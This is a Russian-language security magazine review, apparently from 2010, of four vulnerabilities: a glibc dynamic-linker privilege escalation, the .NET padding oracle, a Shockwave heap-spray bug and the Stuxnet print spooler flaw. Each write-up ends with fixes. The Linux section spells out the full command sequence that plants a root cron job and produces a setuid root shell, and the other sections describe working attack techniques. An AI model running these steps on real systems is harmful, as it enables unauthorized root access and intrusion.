Содержание статьи
- Повышение привилегий в Linux
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- Атаки на шифрование в .net с использованием утечек данных
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- Выполнение произвольного кода в Adobe Shockwave
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- Выполнение произвольного кода в диспетчере службы печати
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- STUXNET АТАКУЕТ
Повышение привилегий в Linux
CVE
- CVE-2010-3856
- CVE-2010-3847
TARGETS
- Fedora 13
- Red Hat 5
- CentOS 5
- Ubuntu 8/9/10
- Debian 5
BRIEF
В предыдущих обзорах мы много говорили об архитектурных багах в ОС от Microsoft, но, как известно, не ошибается тот, кто ничего не делает. Сегодня мы поговорим об уязвимостях в GNU LIBC, которые приводят к повышению привилегий в большинстве популярных дистрибутивов Linux. Уже не раз фигурировавший в наших обзорах баг-хантер Тэвис Арманди (Tavis Ormandy) обнаружил ошибки в динамическом линкере, которые позволяют делать предварительную загрузку указанных пользователем библиотек для программ с установленным setuid-битом. Последствия — захват суперпользовательских прав. Вообще, разработчики и раньше знали об этой ошибке (4 года), но решили не патчить ее, так как считали, что эксплуатация невозможна, потому что по факту линкер игнорирует предзагрузку библиотек откуда попало для stuid-программ. Вот Тэвис и доказал, что разработчики неправы, выпустив эксплойт, показывающий, как можно обойти это ограничение и захватить власть в ОС.
EXPLOIT
Уязвимость существует как минимум в двух вариантах, мы будем рассматривать более позднюю (CVE-2010-3856), так как она присутствует и в Ubuntu, которая есть у меня на виртуалке :). Обе уязвимости имеют общие корни, но различную реализацию; если тебе интересно, то подробнее про первый эксплойт можно почитать тут: exploit-db.com/exploits/15274/. Итак, теперь перейдем непосредственно к эксплойту, который представляет собой последовательность *nix-команд.
$ umask 0
Данная команда задает маску прав для вновь создаваемых файлов. Параметр «0», говорит системе, что все создаваемые файлы будут создаваться с правами «rw-rw-rw-», а директории — «rwxrwxrwx». Зачем это надо — увидим потом.
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/
cron.d/exploit" ping
Собственно, это и есть ключевая команда. libpcprofile.so — это библиотека, используемая для отслеживания времени выполнения кода процесса. Данная библиотека входит в стандартную поставку libc, и ее владельцем является root. Переменная окружения LD_AUDIT говорит динамическому линкеру ld.so подгрузить приложению указанную библиотеку для setuid-программы ping. Тэвис не случайно выбрал именно libpcprofile.so. Дело в том, что ld.so открывает библиотеку функцией dlopen(), что вызывает выполнение кода инициализации из открываемой библиотеки, а в этом коде есть проверка переменной окружения PCPROFILE_OUTPUT, и если она есть, то значение этой переменной используется как путь для сохранения лог-файла. Как видно, лог у нас будет иметь имя exploit в директории /etc/cron.d. Это директория с заданиями для планировщика. Так как ping — setuid-программа, то задание «exploit» будет создано от имени суперпользователя... и тут вспоминаем, зачем мы делали umask(0) — чтобы права доступа для вновь созданного задания были «rw-rw-rw»; таким образом, мы можем писать в него все, что хотим.
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod
u+s /tmp/exploit\n" > \
/etc/cron.d/exploit
А вот и задание — копируем шелл во временную директорию и ставим права setuid. Таким образом через небольшой промежуток времени мы получим результат выполнения планировщика — рутовый шелл.
Результат смотри на скриншоте — у меня все сработало по сценарию.
$ /tmp/exploit
# whoami
root
SOLUTION
В некоторых Linux-дистрибутивах вроде OpenWall, давно зная об этих особенностях линковщика, разработчики на всякий случай пофиксили багу, не дожидаясь, пока Тэвис найдет способ эксплуатации уязвимости. От других дистрибутивов надо ждать патча, но, например, Debian и Ubuntu уже выпустили их; думаю, к выходу номера в печать все дистрибутивы уже будут иметь патч.
Атаки на шифрование в .net с использованием утечек данных
CVE
- CVE-2010-3332
TARGETS
- Microsoft .NET Framework 1.1-4.0
BRIEF
Вернемся к Microsoft. В этот раз огромная дыра была обнаружена в механизме шифрования .NET Framework. На прошедшей конференции Ekoparty 2010 исследователи Тай Дуонг (Thai Duong) и Джулиано Риззо (Juliano Rizzo), развивая тему своего доклада про атаки на системы шифрования с помощью утечек данных, показали, что почти все приложения, основанные на .NET, поддаются атаке. Результат атаки — раскрытие ключа шифрования. Так как одни и те же ключи используются для аутентификации в кукисах, форм-тикетах и viewstate, то возможна компрометация всего сервера. В качестве доказательства была продемонстрирована атака на криптографию .NET с последующей модификацией кукисов с подобранным ключом, что привело к административному доступу к DotNetNuke. А уже с помощью CMS — доступ к серверу.
EXPLOIT
Для раскрытия секретного ключа применяется метод перебора, но не полный, так как это развлечение затянулось бы на несколько десятков лет. Сократить перебор можно с помощью подсказок (оракула), которые любезно предоставляет .NET в виде скриптов WebResource.axd или ScriptResource.axd. В качестве входного параметра «d» они принимают зашифрованное имя ресурса. Подсказка заключается в том, что если зашифрованная строка неверная, то скрипт об этом скажет, либо прямым текстом, либо HTTP-кодом. Причем, зная алгоритм шифрования, можно понять, как и где произошла ошибка. Вернее, сам алгоритм шифрования даже неинтересен, потому что достаточно знать метод связки блоков шифрования и длину выравнивания. Затем, меняя последний байт, можно подобрать правильное значение, при котором сравнение выравнивания и последний байт совпадает.
Итак, выравнивание; так как у нас используется блочное шифрование (3DES/AES), то весь текст (имя ресурса) разбивается на блоки по 8 или 16 байт. Если общая длина не кратна 8 или 16 (в зависимости от конфигурации), то оставшаяся часть «дописывается».
+--------------------------------+
| C| h| y| p| h| e| r| t| e| x| t|
+--------------------------------+
|01|02|03|04|05|06|07|08|09|10|11|
+--------------------------------+
Разбивается на два блока по 8 байт.
+-----------------------+-----------------------+
| BLOCK 1 | BLOCK 2 |
+-----------------------+-----------------------+
| C| h| y| p| h| e| r| t| e| x| t|05|05|05|05|05|
+-----------------------+-----------------------+
|01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|
+-----------------------+-----------------------+
Второй блок дополняется до 8 байт значением, равным размеру выравнивания. При этом шифрование выполняется со связью блоков. Каждый следующий блок шифруется в зависимости от результата шифрования предыдущего блока. Такая связь называется CBC.
IV - вектор инициализации
C(0) = IV
C(i) = E( P(i) xor C(i-1) )
С(0), нулевой блок — это значение вектора. Затем шифруется первый блок, который побайтово «проксорен» с вектором. Второй блок с паддингом «ксорится» с первым зашифрованным блоком и затем шифруется. Расшифровка — обратный процесс:
IV — вектор инициализации
C(0) = IV
P(i) = D( C(i) ) xor C(i-1)
P(i) = P(i) xor C(i-1) xor C(i-1)
P(i) = P(i)
Штука в том, что атакующий, зная ответы от оракула, может подобрать любое правильно зашифрованное значение за приемлемое время (30 минут). Для этого алгоритм, который используется для расшифровки, применяется и для шифрования. Исследователи назвали этот метод CBC-R. Механизм связки через XOR позволяет зашифровать любое значение, какое угодно. В случае с ASP .NET этим значением может быть web.config (чтобы получить к нему доступ). Для этого атакующему достаточно выбрать любой шифр-блок, подобрать для него открытый текст с помощью побайтового перебора и подсказок оракула. Когда такой блок будет готов, он может выбрать такой IV, чтобы при операции XOR с IV получался такой текст, какой хотелось бы атакующему. После этого можно подбирать следующий блок согласно CBC-связи. Подробнее об оракуле, его подсказках и переборе читай тут: gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-withpadbuster/.
В любом случае, реализованы готовые тулзы, которые все это делают в автоматизированном режиме: POET, padBuster.pl и т.д.
SOLUTION
Фикс от Microsoft уже готов. В любом случае не мешает сделать вывод об ошибках менее информативным. Кроме того, код ошибки 500 также дает атакующему подсказку. На самом деле атакующий может ориентироваться и по времени отклика, так что патч — самое верное решение :).
Выполнение произвольного кода в Adobe Shockwave
CVE
- N/A
TARGETS
- Shockwave Player 11.5.8.612
BRIEF
Товарищи из секьюрити-команды Abysssec опубликовали 0day для Adobe Shockwave. Да, вот так просто взяли и опубликовали. Конечно, данный продукт не так популярен, как скажем, Flash или Acrobat Reader, но все же достаточно распространен. Что сделано, то сделано — раз эксплойт есть, то давай его и рассмотрим.
EXPLOIT
Данная бага связана с парсингом файлов формата «DIR». Этот формат базируется на формате «RIFF» и описывает контейнер с потоковыми мультимедиа-данными. Данный формат начинается с заголовка «\x57\x46\x49\x52» — «XFIR» и последующей длины файла. После этого идут блоки данных; один за другим, каждый блок начинается с четырехбайтного идентификатора, размера блока и данных. Вот пример идентификаторов: «tSAC», «pami»,«rcsL». Уязвимость кроется как раз в обработке некоторых «rcsL»-блоков. Результат фаззинга по блокам показал, что в некоторых случаях Shockwave просто падает.
Анализ показал, что при обработке «rcsL»-блока с кривыми данными можно «влиять» на регистр EAX, который используется для вычисления динамического указателя в куче:
0x68122A42 mov eax, [esp+18h+arg_4]
; берем EAX из DIR файла
0x68122A42 mov edx, [esi+28]
0x68122A42 mov [esi+0A4], eax
0x68122A42 mov dword ptr [esi+20], 80000001
0x68122A42 mov ecx, [edx]
0x68122A42 lea eax, [eax+eax*2] ; грузим адрес,
0x68122A42 push esi
0x68122A42 call dword ptr [ecx+eax*8+20]
; считаем указатель
В итоге адрес, по которому происходит вызов, находится в районе «теоретического» расположения HeapSpray. Другими словами, ecx+eax*8+20 будет указывать на NOP-блок перед шеллкодом из кучи (HeapSpray поможет расположить его, где надо). Так как call идет по ссылке, то в NOP-блоке должен быть не только NOP, но и указатель.
Для этого в качестве NOP-блока используется последовательность 0x0A0A0A0A. Тогда CALL возьмет этот адрес и передаст по нему управление, и оператор 0x0A0A будет интерпретироваться уже как or "cl, dword ptr [edx]". Таким вот образом атака на указатель приводит к выполнению произвольного кода.
SOLUTION
От 0day только один выход — отключить плагин или вовсе удалить Adobe Shockwave.
Выполнение произвольного кода в диспетчере службы печати
CVE
- CVE-2010-2729
TARGETS
- Windows XP
- Windows 2003
- Windows 2008
- Windows 7
BRIEF
Всем известный червь Stuxnet таил в своем чреве несколько 0dayуязвимостей. Сегодня мы поговорим об одной такой баге, которую червь использовал для захвата соседних рабочих станций, находящихся в одной сети с зараженной машиной. Ошибка кроется в службе печати ОС Windows, которая и позволяет удаленно выполнить произвольный код с правами системы.
EXPLOIT
Так как уязвимость кроется в службе печати, то для удаленной эксплуатации данной штуки необходимо, чтобы служба удаленной печати была включена. С помощью удаленного доступа к этой службе любой пользователь (имеющий права гостя), может получить права Системы и выполнить код. Для эксплуатации уязвимости используются специально сформированные запросы печати по протоколу RPC. Уязвимость эксплуатируется через вызов RpcStartDocPrinter, который говорит серверу, что для него есть кое-что на печать:
DWORD RpcStartDocPrinter(
[in] PRINTER_HANDLE hPrinter;
[in] DOC_INFO_CONTAINER* pDocInfoContainer;
[out] DWORD* pJobId
);
Второй параметр содержит указатель на структуру с описанием:
typedef struct _DOC_INFO_1 {
wchar_t* pDocName;
wchat_t* pOutputFile;
wchar_t* pDatatype;
} DOC_INFO_1
Эта структура контролируется атакующим (как входной параметр), и самое интересное тут — pOutputFile. Эта переменная может задавать имя выходного файла, который будет сохранен на уязвимой машине, причем расширение этого файла никак не контролируется, так что можно и .exe записать. После этого записываем данные в созданный .exe-файл на удаленном сервере:
DWORD RpcWritePrinter(
[in] PRINTER_HANDLE hPrinter,
[in] BYTE* pBuf,
[in] DWORD cbBuf,
[out] DWORD* pcWritten
Этот вызов отправит данные серверу по открытому дескриптору печати, что приведет к записи произвольного .exe-файла в системную директорию атакуемой машины (%SystemRoot%\system32). Теперь вопрос в том, как запустить наш .exe-файл.
Для эксплойта в составе Metasploit знаменитый хакер ЭйчДи Мур (HD Moore) придумал использовать вызов NetrJobAdd, который добавляет задачу в планировщик на запуск созданного в system32 файла. Вот такие дела. Разумеется, протестировать эксплойт можно и в домашних условиях, ведь он уже в составе Metasploit.
SOLUTION
Данная уязвимость была оперативно пропатчена Microsoft (в отличие от других 0day, используемых Stuxnet, которые еще долго были не исправлены). Так что надеюсь, ты обновился.
STUXNET АТАКУЕТ
Всего червь использовал шесть уязвимостей, из них пять уязвимостей в ОС Windows. Одна из этих баг — старая добрая дырка, используемая червем Confliker. Остальные же — настоящие 0day. В обзоре мы уже говорили про LNK-эксплойт и ошибку в службе печати, но за кадром остались еще две уязвимости, разреверсенные в исследовательской лаборатории ESET в Москве под началом Александра Матросова (eset.com/resources/white-papers/Stuxnet_Under_the_Microscope.pdf).
Уязвимости кроются в таск-менеджере и в win32.sys и позволяют червячку поднять права до системных. Кроме того, одна уязвимость связана с SCADA от Siemens, а именно — содержится в прошитом по умолчанию пароле для БД.